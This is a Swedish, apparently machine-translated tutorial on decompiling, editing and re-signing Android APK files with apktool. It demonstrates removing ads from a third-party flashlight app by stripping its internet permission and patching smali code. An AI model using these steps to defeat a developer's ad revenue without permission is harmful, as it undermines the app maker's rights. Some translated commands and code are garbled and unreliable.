Låt oss säga att du hittade ett paket som du är intresserad av, laddade ner det, packade upp det ... och när du försökte visa någon XML-fil, blev du förvånad när du upptäckte att filen inte är en textfil. Hur dekompilerar man det och hur man arbetar med paket i allmänhet? Är det verkligen nödvändigt att installera SDK? Nej, du behöver inte installera SDK. Faktum är att följande verktyg behövs för alla steg för att packa upp, ändra och paketera APK-paket:

  • ZIP-arkiv för uppackning och packning;
  • smali- assembler/disassembler av Dalvik virtuell maskin bytecode (code.google.com/p/smali);
  • aapt- ett verktyg för att packa resurser (som standard lagras resurser i binär form för att optimera applikationsprestanda). Ingår med Android SDK, men kan erhållas separat;
  • Undertecknare- verktyg för digital signatur modifierat paket (bit.ly/Rmrv4M).

Du kan använda alla dessa verktyg separat, men det är obekvämt, så det är bättre att använda programvara på högre nivå byggd på deras bas. Om du använder Linux eller Mac OS X, finns det ett verktyg som heter apktool . Det låter dig packa upp resurser till deras ursprungliga form (inklusive binära XML- och arsc-filer), bygga om paketet med modifierade resurser, men det vet inte hur man signerar paket, så du måste köra signeringsverktyget manuellt. Trots att verktyget är skrivet i Java är installationen ganska ostandard. Först måste du skaffa själva jar-filen:

$ cd /tmp $ wget http://bit.ly/WC3OCz $ tar -xjf apktool1.5.1.tar.bz2

$ wget http://bit.ly/WRjEc7 $ tar -xjf apktool-install-linux-r05-ibot.tar.bz2

$ mv apktool.jar ~/bin $ mv apktool-install-linux-r05-ibot/* ~/bin $ export PATH=~/bin:$PATH

Om du arbetar på Windows, så finns det ett utmärkt verktyg för det som heter Virtual Ten Studio , som också samlar alla dessa verktyg (inklusive själva apktool), men istället för ett CLI-gränssnitt ger det användaren ett intuitivt grafiskt gränssnitt för att utföra operationer för uppackning, demontering och dekompilering med några få klick. Det här verktyget är donationsprogram, det vill säga fönster visas ibland med ett förslag om att skaffa en licens, men detta kan i slutändan tolereras. Det är ingen mening att beskriva det, eftersom du kan förstå gränssnittet på några minuter. Men apktool, på grund av dess konsolkaraktär, bör diskuteras mer i detalj.


Överväg apktool-alternativ. Kort sagt, det finns tre huvudkommandon: d (avkoda), b (bygga) och if (installera ramverk). Om allt är klart med de två första kommandona, vad gör då den tredje, den villkorliga operatorn? Den packar upp det specificerade UI-ramverket, som behövs när du dissekerar ett systempaket.

Tänk på de mest intressanta alternativen för det första kommandot:

  • -s- ta inte isär dex-filer;
  • -r- packa inte upp resurser;
  • -b- infoga inte felsökningsinformation i resultaten av demonteringen av dex-filen;
  • --frame-path- använd det angivna UI-ramverket istället för det inbyggda apktool. Överväg nu ett par alternativ för b-kommandot:
  • -f- tvångsmontering utan kontroll av ändringar;
  • -a- ange sökvägen till aapt (verktyget för att bygga APK-arkivet) om du av någon anledning vill använda det från en annan källa.

Att använda apktool är väldigt enkelt, allt du behöver göra är att ange ett av kommandona och sökvägen till APK, till exempel:

$ apktool d mail.apk

Efter det kommer alla extraherade och demonterade paketfiler att visas i e-postkatalogen.

Förberedelse. Inaktivera annonser

Teori är förstås bra, men varför behövs det om vi inte vet vad vi ska göra med det uppackade paketet? Låt oss försöka tillämpa teorin för vår egen fördel, nämligen att vi modifierar viss programvara så att den inte visar oss annonser. Låt det till exempel vara Virtual Torch - en virtuell ficklampa. För oss är den här programvaran perfekt, eftersom den är full av irriterande annonser och är enkel nog att inte gå vilse i kodens vildmark.


Så, med någon av ovanstående metoder, ladda ner applikationen från marknaden. Om du bestämmer dig för att använda Virtuous Ten Studio, öppna bara APK-filen i applikationen och packa upp den, för att skapa ett projekt (Arkiv -> Nytt projekt), sedan i innehållsmeny projekt, välj Importera fil. Om ditt val föll på apktool räcker det med att köra ett kommando:

$ apktool d com.kauf.particle.virtualtorch.apk

Efter det kommer ett filträd att dyka upp i katalogen com.kauf.particle.virtualtorch, liknande det som beskrivs i föregående avsnitt, men med en extra smali-katalog istället för dex-filer och en apktool.yml-fil. Den första innehåller den demonterade koden för programmets körbara dex-fil, den andra innehåller den serviceinformation som apktool behöver för att montera tillbaka paketet.

Det första vi behöver leta efter är naturligtvis AndroidManifest.xml. Och här möter vi omedelbart följande rad:

Det är lätt att gissa att hon är ansvarig för att ge applikationen behörighet att använda internetanslutningen. Faktum är att om vi bara vill bli av med annonser räcker det med största sannolikhet för oss att förbjuda applikationen från Internet. Låt oss försöka göra det. Ta bort den angivna raden och försök att kompilera programvaran med apktool:

$ apktool b com.kauf.particle.virtualtorch

Den resulterande APK-filen kommer att visas i katalogen com.kauf.particle.virtualtorch/build/. Det kommer dock inte att vara möjligt att installera det, eftersom det inte har en digital signatur och kontrollsummor filer (den har helt enkelt inte en META-INF/-katalog). Vi måste signera paketet med apk-signer-verktyget. Lanserades. Gränssnittet består av två flikar - på den första (Key Generator) skapar vi nycklar, på den andra (APK Signer) signerar vi. Att skapa vår privat nyckel, fyll i följande fält:

  • Målfil- utdatafil för nyckellager; den lagrar vanligtvis ett par nycklar;
  • Lösenord Och Bekräfta- lösenord för lagring;
  • Alias- namnet på nyckeln i förvaret;
  • Alias ​​lösenord Och Bekräfta- hemligt nyckellösenord;
  • Giltighet- Giltighetstid (i år). Standardvärdet är optimalt.

De återstående fälten är i allmänhet valfria - men du måste fylla i minst ett.


VARNING

För att signera en applikation med apk-signer måste du installera Android SDK och ange den fullständiga sökvägen till den i applikationsinställningarna.

All information tillhandahålls endast i informationssyfte. Varken redaktörerna eller författaren är ansvariga för eventuell skada orsakad av materialet i denna artikel.

Nu kan du signera APK-filen med denna nyckel. På fliken APK Signer, välj den nyskapade filen, ange lösenordet, nyckelaliaset och lösenordet för den, och hitta sedan APK-fil och tryck djärvt på "Sign"-knappen. Om allt går bra kommer paketet att signeras.

INFO

Eftersom vi signerade paketet med vår egen nyckel kommer det att komma i konflikt med den ursprungliga applikationen, vilket innebär att när vi försöker uppdatera programvaran via marknaden får vi ett felmeddelande.

Endast programvara från tredje part behöver en digital signatur, så om du ändrar systemapplikationer, som installeras genom att kopiera till /system/app/-katalogen, behöver du inte signera dem.

Efter det släpper vi paketet på smarttelefonen, installerar och kör. Voila, annonsen är borta! Istället dök dock ett meddelande upp att vi inte har internet eller att vi inte har rätt behörighet. I teorin kan detta räcka, men meddelandet ser irriterande ut, och för att vara ärlig, vi hade bara tur med en dum ansökan. En välskriven programvara kommer med största sannolikhet att förtydliga sina referenser eller leta efter en internetanslutning och annars helt enkelt vägra starta. Hur ska man vara i det här fallet? Självklart, redigera koden.

Vanligtvis skapar applikationsförfattare speciella klasser för att visa annonser och anropsmetoder för dessa klasser under lanseringen av applikationen eller en av dess "aktiviteter" (enkelt uttryckt applikationsskärmar). Låt oss försöka hitta dessa klasser. Vi går till smali-katalogen, sedan com (i org finns bara det öppna grafiska biblioteket cocos2d), sedan kauf (exakt där, eftersom det här är namnet på utvecklaren och all hans kod finns där) - och här är den, marknadsföringskatalog. Inuti hittar vi ett gäng filer med tillägget smali. Det här är klasser, och den mest anmärkningsvärda av dem är Ad.smali-klassen, vars namn det är lätt att gissa att den visar annonser.

Vi skulle kunna ändra logiken i dess arbete, men det skulle vara mycket lättare att dumt ta bort anrop till någon av dess metoder från själva applikationen. Därför lämnar vi marknadsföringskatalogen och går till den närliggande partikelkatalogen och sedan till virtualtorch. Filen MainActivity.smali förtjänar särskild uppmärksamhet här. Detta är en standard Android-klass som genereras av Android SDK och ställs in som startpunkt för applikationen (analogt med huvudfunktionen i C). Öppna filen för redigering.

Inuti finns smali-koden (lokal montör). Det är ganska förvirrande och svårt att läsa på grund av dess låga karaktär, så vi kommer inte att studera det, utan helt enkelt hitta alla omnämnanden av annonsklassen i koden och kommentera dem. Vi kör in strängen "Annons" i sökningen och kommer till rad 25:

Fält privat annons:Lcom/kauf/marketing/Ad;

Här skapas en fältannons för att lagra ett objekt av klass Ad. Vi kommenterar genom att sätta ###-tecknet framför raden. Vi fortsätter sökandet. Linje 423:

Ny instans v3, Lcom/kauf/marketing/Ad;

Det är här objektet skapas. Vi kommenterar. Vi fortsätter sökningen och hittar på raderna 433, 435, 466, 468, 738, 740, 800 och 802 anrop till metoderna för klassen Ad. Vi kommenterar. Ser ut som det är det. Vi sparar. Nu måste paketet monteras tillbaka och kontrolleras för dess prestanda och förekomsten av reklam. För experimentets renhet returnerar vi raden som tagits bort från AndroidManifest.xml, samlar in paketet, signerar det och installerar det.

Vårt marsvin. Synlig reklam

Op-pa! Reklam försvann bara medan applikationen kördes, men fanns kvar i huvudmenyn, som vi ser när vi startar programvaran. Så vänta, men ingångspunkten är klassen MainActivity, och annonsen försvann medan applikationen kördes, men förblev i huvudmenyn, så ingångspunkten är annorlunda? För att avslöja den verkliga ingångspunkten öppnar vi filen AndroidManifest.xml igen. Och ja, den innehåller följande rader:

De berättar för oss (och, ännu viktigare, Android) att en aktivitet som heter Start bör lanseras som svar på genereringen av en avsikt (händelse) android.intent.action.MAIN från kategorin android.intent.category.LAUNCHER. Den här händelsen genereras när du trycker på programikonen i startprogrammet, så den definierar startpunkten, nämligen Start-klassen. Troligtvis skrev programmeraren först en applikation utan huvudmeny, vars ingångspunkt var standardklassen MainActivity, och lade sedan till ett nytt fönster (aktivitet) som innehåller menyn och beskrivs i klassen Start, och gjorde det manuellt till en post punkt.

Vi öppnar filen Start.smali och letar igen efter raden "Ad", vi hittar på raderna 153 och 155 omnämnandet av FirstAd-klassen. Den finns också i källkoden och, av namnet att döma, ansvarar den för att visa annonser på huvudskärmen. Vi tittar vidare, det skapas en instans av FirstAd-klassen och en avsikt, i enlighet med sammanhanget relaterat till denna instans, och sedan etiketten cond_10, den villkorliga övergången till vilken utförs exakt innan en instans av klassen skapas :

If-ne p1, v0, :cond_10 .line 74 new-instance v0, Landroid/content/Intent; ... :cond_10

Troligtvis beräknar programmet på något sätt slumpmässigt om det är nödvändigt att visa annonser på huvudskärmen, och om inte, hoppar det direkt till cond_10. Ok, låt oss förenkla hennes uppgift och ersätta den villkorliga övergången med en ovillkorlig:

#if-ne p1, v0, :cond_10 goto:cond_10

Det finns inga fler omnämnanden av FirstAd i koden, så vi stänger filen och sätter ihop vår virtuella ficklampa igen med apktool. Kopiera till smartphone, installera, kör. Voila, alla annonser är borta, grattis till oss alla.

Resultat

Den här artikeln är bara en kort introduktion till metoderna för att öppna och ändra Android-applikationer. Många problem kvarstod bakom kulisserna, som att ta bort skydd, tolka obfuskerad kod, översätta och ersätta programresurser, samt modifiera program som skrivits med använder android NDK. Men att ha grundläggande kunskaper och förstå allt detta är bara en tidsfråga.

Dela med sig